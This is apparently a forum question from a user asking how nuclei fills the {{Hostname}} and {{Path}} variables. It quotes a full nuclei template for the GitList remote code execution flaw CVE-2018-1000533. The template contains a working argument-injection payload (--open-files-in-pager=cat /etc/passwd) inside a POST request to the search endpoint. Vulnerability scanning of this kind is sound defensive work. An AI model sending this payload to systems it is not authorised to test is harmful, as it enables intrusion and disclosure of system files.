I am trying to generate traffic from yaml file. I am using nuclei command . Unfortunately I need to give yaml config file path to the nuclei command which is from GitHub.
Here’s one of the yaml file.
How can I find out actual {{Hostname}} and {{Path}}.

id: CVE-2018-1000533

info:
name: GitList < 0.6.0 Remote Code Execution
author: pikpikcu
severity: critical
description: klaussilveira GitList version <= 0.6 contains a passing incorrectly sanitized input via the searchTree function that can result in remote code execution.
impact: |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system.
remediation: |
Upgrade GitList to version 0.6.0 or later to mitigate this vulnerability.
reference:
– https://github.com/vulhub/vulhub/tree/master/gitlist/CVE-2018-1000533
– https://nvd.nist.gov/vuln/detail/CVE-2018-1000533
– https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html
– https://github.com/klaussilveira/gitlist/commit/87b8c26b023c3fc37f0796b14bb13710f397b322
– https://github.com/superlink996/chunqiuyunjingbachang
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-1000533
cwe-id: CWE-20
epss-score: 0.97242
epss-percentile: 0.99831
cpe: cpe:2.3:a:gitlist:gitlist::::::::
metadata:
max-request: 2
vendor: gitlist
product: gitlist
shodan-query: cpe:”cpe:2.3:a:gitlist:gitlist”
tags: cve,cve2018,git,gitlist,vulhub,rce

http:

• raw:
  – |
  GET / HTTP/1.1
  Host: {{Hostname}}
  – |
  POST /{{path}}/tree/a/search HTTP/1.1
  Host: {{Hostname}}
  Content-Type: application/x-www-form-urlencoded

  query=--open-files-in-pager=cat%20/etc/passwd
  

  matchers:

  • type: word
    part: body
    words:
    • “root:/root:/bin/bash”

  extractors:

  • type: regex
    name: path
    group: 1
    regex:
    • ‘(.*?)’
      internal: true
      part: body

digest: 4a0a0047304502200f81ce3e13f27d57d6da8c69097e3f825ffe0487277515de76774c7a7694b022022100b7b600dafbc5c43e69246a4f582585a5384579f5a124b72709f0d7e74b67413f:922c64590222798bb761d5b6d8e72950

I tried giving as http://example.com in one of the other config file it worked.
But how can I find the actual hostname and BaseURL corresponding to the different yaml config file.
(I am using python script to automate)